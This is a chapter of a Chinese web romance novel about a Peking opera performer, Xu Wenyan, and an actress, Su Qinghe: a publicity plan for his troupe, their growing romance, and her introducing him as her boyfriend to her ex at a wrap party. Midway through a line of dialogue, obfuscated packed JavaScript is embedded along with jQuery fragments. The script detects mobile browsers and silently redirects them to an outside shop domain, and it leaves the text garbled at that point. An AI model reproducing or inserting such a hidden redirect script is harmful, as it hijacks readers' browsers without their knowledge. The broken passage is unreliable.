74. 家属
    在许温言换衣服的时间里,苏清河独自回到了观众席,此时的剧场彻底沉寂了下来,好似一番玩闹过后陷入沉睡的巨兽。

    她坐在中间的位置,看着舞台,有些怅然若失,虽然理智上她知道退潮是正常的趋势,但在见证过他们的努力与期待之后,不免还是有些落差。

    “别担心,这很正常,我们在做之前已经有所预期。”

    苏清河一惊,她想得太出神,没有注意到有人靠近。在一瞬的愣神后,她看向来人,打趣道:“许老板火眼金睛,这都被你看穿了。”

    接着,她又多了几分认真:“那你们有什么打算?”

    “新媒体,我们打算从这里入手,在年轻人中扩大知名度,我们需要新的观众。”

    这倒是个不错的方向,苏清河右手撑着脸,欣赏地看着许温言认真讲述的模样,脑中突然灵光一闪。

    “许老板,你们下次开会,我能参与吗?别的不敢说,但新媒体运作这一块,我还真能有点想法。”

    许温言侧过头看向身边人:“什么想法?”

    苏清河摇了摇手指,神秘道:“暂且保密,到时候你就知道了。”

    许温言一把将晃动的手指握在手心:“好,时间定了我告诉你。”

    剧场会客室,李飞宇、邱琪、朗月各自坐在会议桌两面,许温言和苏清河相对而坐,朗月的旁边坐着新加入的宣传秋林。

    关于新媒体如何去运营,大家已经基本上有了方向,苏清河前期只是听着他们讲述自己的想法和考虑。

    等到大家说得差不多,她才开口道:“我也有一点不成熟的想法想和大家分享一下,在我们这个圈子,想要快速让一个新人或者一部剧被大家记住,辨识度是重中之重,需要第一时间将网友最有可能感兴趣的记忆点通过营销打出去,我认为这个逻辑我们也可以参考。”

    苏清河站起身,继续说道:“这个记忆点最好通俗易懂且直接,比如……”

    她走到许温言的身后,出其不意地托住男人的下巴,歪头一笑:“出众的颜值。”

    许温言身体一僵,故作镇定地躲开了看过来的视线,但热意却控制不住地从被触碰的地方流向耳尖。

    “言之有理,咱们当家青衣扔出去就是一枚深水炸弹,炸乱一群少女心不在话下。”李飞宇有意添油加醋:“只要你舍得。”

    苏清河咳嗽了一声,收回自己的手:“我是这么小气的人吗?再说了这是第一步,咱们戏班的平均年纪和平均颜值那都是上层,后续就可以借由第一波记忆点,打出集体的记忆点。”

    “京剧界的颜值担当?”邱琪顺着道。

    “对!”

    “感觉可行欸”朗月有些兴奋。

    “不失为一个切入点”秋林点头。

    许温言将视线挪了回来,有些迟疑:“这种方式会不会有点……轻重倒置?”

    苏清河重新坐了下来,借着桌子遮挡勾了勾男人的手指,示意自己并不介意:“脸只是一块敲门砖,它能够在短时间内让尽可能多的人来看你们的表演,但这些人里面有多少能够转化为京剧的观众,当然还是需要依靠大家的才艺,但基数越大,最后的转化率也相应会更高。”

    说完,她目光灼灼地看着许温言:“我对大家有信心。”

    许温言沉吟半晌,颔首:“好,我们试试。”

    *

    “许老板,早安”

    “早安。”

    画面上的男人走进剧场,看着镜头颔首打招呼,面上看似古井无波,但在镜头的放大作用下,那些藏匿在细枝末节处的细小反应,让男人的紧绷和不自然有些无所遁形。

    但正因如此,反倒让有些高冷严肃的人鲜活了起来,多了一些想要逗弄的可爱。

    网友1:我去,这是哪位帅哥?

    网友2:哎呀,好想调戏怎么办。

    视频里偶尔一问一答的声音在有些安静的办公室里回荡,凌展死死盯着手机屏幕,即使背后的声音做了一定的处理,他还是能够听出这是苏清河。

    他们……在一起了?

    他用力地握紧拳头,心有不甘,分手的这几年,苏清河的花边新闻不断,但他知道那都是逢场作戏,没有人真的走进过她的心,所以他可以冷眼旁观,但现在……

    周围的空气骤然长出尖刺,借着他呼吸的每一秒,狠狠刺向他的五脏六腑。

    内心的酸涩和不甘快要将他淹没。

    网友3:这上妆后也太美了吧!@飞羽,快来看!

    网友4:小哥哥这嗓子犹如天籁我的老天鹅

    网友5:天呐撸。耍起花枪来也太帅了吧!

    房车里,苏清河满意地看着手机里的视频,这是四味戏班官方账号正式发布的第一支视频,由她来亲自拍摄的许温言单人vlog,目前视频的播放量已经接近20w,且还在持续发酵中。

    视频不及播完,一只手伸过来压住了屏幕,有些不自在:“别看了。”

    苏清河顺着力度放下手机,倾过身凑得更近了些,笑盈盈道:“如此秀色可餐,当然要看个够,是吧,许老板?”

    许温言撇开视线,半晌又看了回来,夏日的阳光灼热耀眼,通过窗帘缝隙折射落在女孩的侧脸上,为其渡上了一层毛茸茸的光晕,女孩笑得明媚,眼角眉梢都写满热烈,明艳如玫瑰。

    玫瑰倒映在他的心间,带起了一阵灼热。

    “嗯,你说的对。”

    他倾过身,顺从了内心的欲望,吻上了这朵玫瑰。

    突如其来的吻,让苏清河一怔,继而后知后觉许温言言下之意,嘴唇上的温度似会传染,让她的脸升腾起一股热意,这股热意化为蜜糖,丝丝入缝地浸入她的心间,她挽住男人的脖颈,热烈地回吻了过去。

    本是浅尝辄止的吻,在双方互相撩拨下一时有些难舍难分,直到有些呼吸不畅,两人才喘着气将彼此的唇拉开了一丝距离。

    余留的暧昧缱绻随着呼吸蔓延在空气里。

    “许老板,离组后,收留我一段时间?”苏清河挑逗似的用手指轻轻在男人喉结上划过。

    被触碰的地方有些难耐地上下滚动了一圈,许温言一把抓住了女人作乱的手,不轻不重地咬了一口女人有些发红的下嘴唇,然后撇开了视线。

    苏清河扑哧一笑,捏了捏男人发红的耳尖:“许老板,我可真喜欢你呀。”

    在苏清河看不见的地方,许温言的嘴角绷了又绷,还是没忍住上扬了些许。

    傍晚,在一众的欢呼声中,苏清河拍完了最后一场戏。

    制片人送上花:

    “这段时间苏老师辛苦啦,恭喜杀青,如果有机会还希望和您有下一次的合作机会。”

    苏清河接过花,向着工作人员鞠了鞠躬:“大家都辛苦了,谢谢大家照顾。”

    “恭喜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292076|138491||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杀青啊。”又一束花送到眼前,苏清河一怔,没有动作,她有些意外:“你怎么在这?”

    凌展挑眉:“怎么?我不能在这?”

    苏清河淡然一笑:“当然可以,请便。”

    “一束花的面子都不给?”凌展将手中的花束抬高了些。

    “不至于。”苏清河伸出手欲接过花,但还不及握住,花便被突然出现的手截走。

    “我帮你拿。”

    苏清河一愣,看清来人后,眉眼一弯。许温言将手中的向日葵花束向前一递。

    “杀青快乐。”

    苏清河抬手接过了花束,放在鼻下闻了闻,嫣然一笑:“谢谢许老板”

    凌展狠狠将指甲崁入指腹,皮笑肉不笑:“许老师真是热心肠,不过我记得这个剧与京剧并无关系?许老师今天来是?”

    “他是家属”

    不等许温言反应,苏清河腾出手挽住男人的手臂:“哦,忘了和你介绍,这是我的男朋友,这可是独家一手消息,可别说我不给你面子了。”

    许温言垂眸看向身边人,眸光微动,又看向凌展,语气称得上是平和:“如你所见”

    凌展内心愤恨,又找不到出口,只能紧紧咬着后槽牙,一时沉默了下来。

    “没其他事,我们就先走一步,你随意。”苏清河晃了晃挽着的手臂:“走吧,许老板”

    凌展站在原地,看着相携的两人愈走愈远,只觉自己的内心进入了三伏天,滞闷但又无处发泄。直到导演走过来打招呼:

    “凌大制片,赏光吃个杀青宴?咱俩好好喝一杯”

    凌展回过神,强迫自己的嘴角上扬,做出一副得体的笑容:“却之不恭。”

    晚上,剧组的核心台前幕后人员齐聚在一处,觥筹交错人声鼎沸。

    “许老师,您的位置在苏老师旁边。”制片人看着许温言和苏清河携手而来,立即上前做了指引。

    能够成为制片人的人都是人际关系里打了好几个滚的人,早就看出了两人之间没有明说的关系,更看到了许温言身上隐藏的关系链,因此即使不那么合规矩,他也还是将许温言安排在了主创桌。

    与此同时,将和苏清河关系尴尬的凌展安排在了导演身边,即使同处一桌,也隔着老远。

    “许老师,我很早听过您的戏,没想到今天有机会见到本人,我一定要敬您一杯。”总制片人是个35岁左右的女制片,对酒局上的敬酒顺序并不是很在意,做事更随自己的心意。

    许温言拿过一旁已经倒好酒的杯子,礼节性地与其碰了一下杯:“谢谢。”

    他正欲喝下,被苏清河伸手拦了一下,笑道:“筱姐,我代他喝吧,要不然许老板这饭可就吃不上了。”

    总制片一开始有些皱眉,但听完理由后也了然地一笑:“明白明白,那以茶代酒?不过你还是得把这杯酒喝了!”

    “那当然。”

    苏清河二话不说,拿过酒一饮而尽。

    许温言蹙眉:“你不必——”

    苏清河借着桌布的遮挡安抚地拍了拍他的手,小声道:“放心,在场没有人能够喝过我,但你要是醉了,我可搞不定你。”

    这话无可辩驳,许温言转而打开手机,下单了一份解酒药。

    凌展将两人的小动作看在眼里,此时他已经几杯酒下了肚,只觉得心上的憋闷又被点着了一团火,烧得他的头一阵一阵地犯晕。